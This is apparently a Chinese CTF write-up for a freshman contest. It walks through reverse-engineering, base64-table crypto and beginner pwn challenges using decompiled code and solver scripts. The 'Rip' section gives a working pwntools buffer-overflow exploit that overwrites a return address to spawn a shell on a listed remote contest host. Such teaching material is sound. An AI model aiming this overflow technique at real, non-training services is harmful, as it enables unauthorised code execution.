新生赛,担任出题给新生们出点题玩玩,没想到惨不忍睹,只能可劲放hint,深怕他们们解不出来。
0x00 Reverse
所有我出的题,我尽量给出双解(IDA和OD),不是我出的就不要在我这里看了奥
0x01 Luck
IDA
先看mian函数,game函数和flagshow函数
然后看game函数
在函数结尾的时候有一个设置随机数种子,很可疑,暂时记下。0x2918 = 10520。再看flagshow函数:
所以flag是取伪随机数xor v2来的,v2则是n1数组的元素。
{% note primary %}
什么是xor?
xor:异或,相异得一,相同得零。例如:1 ^ 1 = 0;1 ^ 0 = 1;0 ^ 0 = 0
程序中xor操作过程是按位进行的。先将操作数转换为二进制数,再进行按位异或。例如:23 ^ 45
23 = 0001 0111 45 = 0010 1101 => 23 ^ 45 = 0011 1010 = 58
因为xor的特性,所以有:若a^b=c,则c^b=a;c^a=b。
详细的查看{% btn https://baike.baidu.com/item/异或/10993677?fromtitle=xor&fromid=64178&fr=aladdin, 百度百科, XOR %}
{% endnote %}
找到n1数组,提取出来
{% note primary %}
这里可以右键转换为数组再通过Shift+E提取,可以快速提取到值
{% endnote %}
前面是4个数有三个都是0,因为int是4字节的,而这里把它一个字节一个字节解析的,所以宽度设置为4。得到数据:
再用notepad替换0为空即可。写出exp即可。
#include<stdio.h>
#include<stdlib.h>
int main()
{
int decode[] = {0x7F,0x5B,0x4A,0x5,0x64,0x1,0x66,0x65,0x66,0x5B,0x4A,0x20,0x51,0x4F,0x39,0x1,0x41,0x6B,0x5F,0x7E,0x73,0x7A,0x57,0x5A,0x0E,0x11,0x6F,0x0,};
srand(10520);
for(int i=0;decode[i];i++)
{
printf("%c",decode[i] ^ (rand()%100+1));
}
return 0;
}
//flag{1uck_g4y_n0t_n55d_x0r}
OD
在main函数和flagshow函数有两次判断,只要一次猜出来就可以得到flag,我们直接nop掉两次跳转或者改变跳转地址即可
先找到判断1,下断:
再找到跳转2,下断(搜索字符串就不教了奥):
直接运行,猜出数字到断点处:
nop掉jz跳转,进入第二个call(F7):
这里je跳转箭头内的全部nop,目的是不执行retn,push ebx要留下,这里截图错了。
进入循环后再用F8比较浪费时间,可以直接F4到函数快结尾处,不会的下断点在最后一个call,然后再F8一下,就看到程序框内的flag了。
other
用CE应该也是可以的,每猜一次搜索次数嘛,还是很简单。难就难在程序结束了没有滞留,黑框就没了,这种情况应该怎么搞呢?自己去探索吧~
0x02 EasyRe
IDA
这个源码还是很简单了,太长就不截图了,直接复制吧
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char v4; // cl
int v5; // eax
char v6; // al
int v7; // edx
char v8; // al
signed int v9; // edx
char flag[256]; // [esp+0h] [ebp-138h]
char third[12]; // [esp+100h] [ebp-38h]
char second[11]; // [esp+10Ch] [ebp-2Ch]
char zero[8]; // [esp+118h] [ebp-20h]
char first[7]; // [esp+120h] [ebp-18h]
char flag_0[9]; // [esp+128h] [ebp-10h]
char v17; // [esp+132h] [ebp-6h]
printf("PLZ input your flag:\n");
scanf_s("%s", flag);
if ( strlen(flag) != 37 ) // flag长度为27
{
printf("the len of flag is wrong,sorry\n");
_exit(0);
}
if ( flag[7] != '_' || flag[14] != '_' || flag[25] != '_' )
{ // 第8、15、26位为‘_’
printf("something is wrong~try again\n");
_exit(0);
}
*zero = 0;
*&zero[2] = 0;
*&zero[6] = 0;
_strncpy_s(zero, 8u, flag, 7u);
flag_0[8] = 0;
strcpy(flag_0, "welcome"); // 第一部分:welcome
v3 = strcmp(flag_0, zero);
if ( v3 )
v3 = -(v3 < 0) | 1;
if ( v3 )
{
_puts(zero);
printf("you are wrong, sorry.\n");
_exit(1);
}
*first = 0;
*&first[2] = 0;
first[6] = 0;
_strncpy_s(first, 7u, &flag[8], 6u);
*&flag_0[4] = 'xudc'; // 按R转为字符串
*&flag_0[8] = 'bw'; // 是数转过来的,为小端存储,既倒叙
v4 = 99; // 所以第二部分:cduxwb
v17 = 0;
v5 = 0;
do
{
if ( first[v5] != v4 )
{
_puts(first);
printf("It's close. Come on!\n");
_exit(2);
}
v4 = flag_0[v5++ + 5];
}
while ( v4 );
*second = 0;
second[10] = 0;
*&second[2] = 0i64;
_strncpy_s(second, 0xBu, &flag[15], 0xAu);
*flag_0 = *aEverythi;
*&flag_0[8] = 'GN';
v6 = aEverythi[0]; // 第三部分为:EVERYTHING
if ( aEverythi[0] )
{
v7 = 0;
do
{
if ( second[v7] - 32 != v6 ) // flag[i] = flag_0[i] + 32
{ // 大小写字母之差为32,所以真正的flag为小写
_puts(second);
printf("hurry up! GO GO GO!\n");
_exit(3);
}
v6 = flag_0[v7++ + 1];
}
while ( v6 );
}
*third = 0;
*&third[10] = 0;
*&third[2] = 0i64;
_strncpy_s(third, 0xCu, &flag[26], 0xBu);
strcpy(flag_0, "suhxlzSUKMC");
v8 = 's'; // 第四部分xor加密
v9 = 26;
do
{
if ( (v9 ^ third[v9 - 26]) != v8 )
{
_puts(third);
printf("ohhhhh,a little!only a little!\t");
_exit(4);
}
v8 = flag_0[v9++ - 25];
}
while ( v8 );
printf("nice!Do a good jod!!!your flag:\nflag{%s}", flag);
return 0; // flag包上{}输出
}
EVERYTHING最后的NG哪来的?
xor反解脚本 Python:
flag=''
a = 'suhxlzSUKMC'
for i in range(len(a)):
flag+= chr(ord(a[i])^(i+26))
print(flag)
#interesting
不会python?也行嘛,直接把代码复制过来,改一改,也能跑 C语言:
#include<stdio.h>
#include<windows.h>
long long v30 = 0x55537a6c78687573;
long long v31 = 0x434d4b;
int main(){
int v8 = 115;
int v9 = 26;
do{
printf("%c",(v9 ^ v8));
v8 = *((BYTE *)&v30 + v9++ -25);
}
while(v8);
return 0;
}
所以得到全部flag,中间用 _ 连接
welcome_cduxwb_everything_interesting
OD
因为flag是输入值,OD分析效果不大。故无IDA分析解法。
0x03 Maze
IDA
先看main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
signed int v3; // esi
char v4; // dl
char *v5; // edi
unsigned int v6; // ecx
char v7; // al
char YourChoice[256]; // [esp+4h] [ebp-104h]
welcome();
v3 = 1;
printf("How to out of maze?\n");
scanf_s("%s", YourChoice);
v4 = YourChoice[0];
if ( YourChoice[0] )
{
v5 = YourChoice;
v6 = 1;
do
{
if ( v4 != 'w' && v4 != 'a' && v4 != 's' && v4 != 'd' )
{ // 行为判断 wasd,其他输入均为错误
printf("Error input!");
_exit(0);
}
maze[v3] = '*'; // 当前位置变为*,既不允许回头
switch ( v4 )
{
case 'w': // w 按理说是向上
v3 -= 10; // 所以应该是10个为一排
v6 -= 10;
break;
case 's':
v3 += 10;
v6 += 10;
break;
case 'a': // a是左
--v3;
--v6;
break;
case 'd': // d是右
++v3;
++v6;
break;
}
if ( maze[v3] == '*' || v6 > 50 )
{ // 不能走到*,不能大于50 <=> 迷宫长度为50,既10*5的矩阵
printf("Wrong way,try again!\n");
_exit(0);
}
v7 = (v5++)[1];
v4 = v7;
}
while ( v7 );
}
if ( maze[v3] == 'n' ) // 走到终点 ‘n’
printf("Great!You did it!get your flag:\nflag{%s}", YourChoice);
else // 走完所有步数才走到中间还未到终点
printf("Emmmmmm,It's not the end");
return 0;
}
已经清楚了,就是一个迷宫,走出迷宫就好了,所以找到迷宫,还有一个welcome函数没看
找到了迷宫是怎么来的,先提取sapceNum,之前讲过的,shift+E
写个脚本模拟一下,还是python
sN = [2, 3, 13, 14, 15, 16, 17, 27, 31, 33, 34, 35, 37, 41, 42, 43, 45, 46, 47]
maze = '*' * 50
maze = list(maze)
for i in sN:
maze[i] = ' '
for i in range(50): #输出
print(maze[i],end='')
if (i+1)%10 == 0:
print('') #换行
'''
** ******
*** **
******* **
* * * **
* * **
'''
是不是少了点什么?END呢?回到welcome函数再看,当然你看到的是数字,你点一下数字,再按R……
{% note primary %}
byte_40336D = 's';
byte_403381 = 'n';
{% endnote %}
跳转过来,其实就是maze中的位置,maze的开头是6C,6D为‘s’,既第二个就是‘s’。同理找到‘n’的位置。
得到完整迷宫
*s ******
*** **
*n***** **
* * * **
* * **
走迷宫嘛就。ddsddddsssaawaasaaww
OD
OD解可就太简单了,本来这题的考点也是OD,IDA不指望他们能分析出来。直接拖入OD,运行,然后搜索字符串
{% note primary %}
为什么要先运行再搜索字符串,一开始不行吗?肯定是不行的,至于为什么,自己探索吧~
{% endnote %}
一搜就搜出来了,放在记事本里,十个一换行,得到迷宫。直接得到答案。
{% note info %}
到这里我的题就解完了,思考一下,为什么我都是先IDA后OD,是我的习惯吗?不全是,OD调试程序,为了更准确的找到相应的位置,可以先通过IDA简单分析一下,再使用OD,可以大大提高效率。
{% endnote %}
0x10 Crypto
密码学这玩意吧,玩着听有趣的,出的人多,我就随便整了一道
0x11 Base_for
直接看python文件吧
import base64
table = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")
TABLE = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
flag = b'flag{**************}'
def myencode(S, t, T):
t = ''.join(t).encode()
newtable = bytes.maketrans(T, t)
enc = base64.b64encode(S).translate(newtable)
print(enc.decode()[:5])
return enc
for i in range(len(table)):
for j in range(len(table)-i-1): #替换base表
if table[j] > table[j+1]:
x = table[j]
table[j]=table[j+1]
table[j+1] = x
if i % 10 == 0:
flag = myencode(flag,table,TABLE)
flag = flag.decode()
print('\n' + flag + '\n')
#ZmxhZ
#Wmpsa
#Vqpkc
#0bFk5
#1GJGO
#/IR9F
#9oZGC
#9oZGCINjS4YtQKhnHIhfQWhiJYh6AXVBFohYFYNLO2EjGJ7nCKtCHnZlNqkfPosqEnFKFoQmKYt6JqRaFXAsEnZjHZZ5KXFB9q3jR2gnHL6fPodDHqsoBoJ9O2FEJqVbEb2oHmxhS3N/KKhgEoRcNYYoJX2tPXUoG2l3QIh7Mr71GIplHpV3Q2F6Pno=
{% note primary %}
那么就先说一下什么是base64编码吧,你可以理解为加密。既然为加密,那肯定不是随便加密,得有密码表,这个加密的过程就很好玩,是轮换加密表。
而代码中的TABLE则是标准表,替换是根据标准表来的。
{% endnote %}
graph LR
A[标准表] --> B[替换表1] --> F[替换表2] -.->H[替换表N]
D[明文] --> EN1[加密] --> E[密文1]
B --> EN1
F --> EN2[加密] --> C[密文2]
E --> EN2
C -.-> EN3[加密]
H -.-> EN3 --> 密文
这有点翻转加密那味了,但是还是很简单的。直接利用原来的加密程序,记录每次加密的表,再用表反向解密即可
import base64
table = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")
TABLE = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
etable = []
for i in range(len(table)):
for j in range(len(table)-i-1):
if table[j] > table[j+1]:
x = table[j]
table[j]=table[j+1]
table[j+1] = x
if i % 10 == 0:
etable.append(''.join(table).encode()) #加密过程改为记录表
enc = b'9oZGCINjS4YtQKhnHIhfQWhiJYh6AXVBFohYFYNLO2EjGJ7nCKtCHnZlNqkfPosqEnFKFoQmKYt6JqRaFXAsEnZjHZZ5KXFB9q3jR2gnHL6fPodDHqsoBoJ9O2FEJqVbEb2oHmxhS3N/KKhgEoRcNYYoJX2tPXUoG2l3QIh7Mr71GIplHpV3Q2F6Pno='
#密文为最后一次完整的输出结果
for i in etable[::-1]: #加密为正序,解密则要倒叙
newtable = bytes.maketrans(i, TABLE)
enc = base64.b64decode(enc.translate(newtable))
print(enc.decode()) #输出每次解密结果
'''
/IR9Foxi9qksMKkr+nVKH28MGKdFFWhD/IRs9nNO9qgl+oN6C4VGG2ZNHWgfF38C9oNYGZ4M/aotK3Mr+oJOOn47EKhDPWhgBq4O/mxVBYklCGhfI4V19n84HLEqKIcrCIMqOXEpDHo=
1GJGOn+l8al7/8VL2XIjQF+O1Gx+6Z+k1/FG8XRH9YN++DBN+FdJQX2m9XF7/EZk1HAkOn+l7aZ3/a6L19+kPXB+2EMt6YJ79F6j45==
0bFk5qNlRY8W62/pUZ0oUFUp1aFN7GRFUT0YTZIr3rR1RXIp0p0k5qJiNZdW1Epn0U4F9FBRPTo=
VqpkcqFGbmx5RUtPU5ZaMpdEQ5dNR7ctVF25WUpkbn6ZbXMsUFExPQ==
WmpsaFo/dENORFZ3WDBGMFg9TXdYMpo9Yms8PQ==
ZmxhZ4tCNDVlX0F0X2MwX3Z2bn1=
flag{B45e_1s_S0_fun}
'''
{% note success %}
嗯?不会python,怎么做,在原来的脚本上,加密那行下面,输出每次的table,然后去在线网站 解啊
记住是逆着来,每次加密都输出前几位,就是为了给你们提示,手动解的时候验证是不是对的
{% endnote %}
0x20 Pwn
这也算是CTF竞赛中分数占比比较大的一部分了,但是我们没有开班,所以就弄了两道启蒙题
0x21 What's nc
nc嘛,就不多说了,太简单。直接就给了shell
知道linux指令就行,ls、cat flag级行
0x22 Rip
先下载附件IDA查看分析,main函数就这么简单,输入什么,就输出什么。
shift+F12搜索字符串看看。就得到了
有Shell函数,所以我们就像办法执行他就行。查看地址
找到了,在sueprise函数里面(应该是surprise函数,惊喜嘛,这里出题时打错了,不过不影响做题)
得到 "/bin/sh" 字段的地址,应该从哪开始执行?从0x4011B1开始。
得到这个地址了,问题是怎么执行到这个函数这来呢?main函数是安全的吗?有地方有漏洞吗,当然有,scanf("%s")是不安全的。是存在缓冲区溢出的。查看溢出所需要的长度(既V4的大小)
得到了0x30的长度,覆盖到这里就结束了吗?答案是还没有,后面还有8字节的返回地址,要覆盖到这里,所以应该是0x38.
执行exp
#!/usr/bin/env python
#coding=utf8
from pwn import *
context.log_level = 'debug' #显示调试的信息
context.terminal = ['gnome-terminal','-x','bash','-c'] #?
local = 0 #设置是本地还是远程渗透
if local:
p = process('./pwn1')
#bin = ELF('./',checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
p=remote('47.108.228.77',10001)
#bin = ELF('./',checksec=False)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
pass
bin_sh_addr = 0x4011b1
payload = b'A'*0x38 + p64(bin_sh_addr)
print(payload)
def choose2():
p.sendline(payload)
p.interactive()
choose2()
{% note primary %}
运行环境 :linux
什么?代码报错?先安装python库pwntools。不会使用pip自学吧,什么都喂到嘴边,那还了得。
{% endnote %}
END
说真的,这次的题,都是很简单,很好玩了,当然也不全是在课堂上讲过的,目的就是为了让你们学习,能够学到新东西,体验到比赛的快乐和解题的酣畅淋漓感。
continue……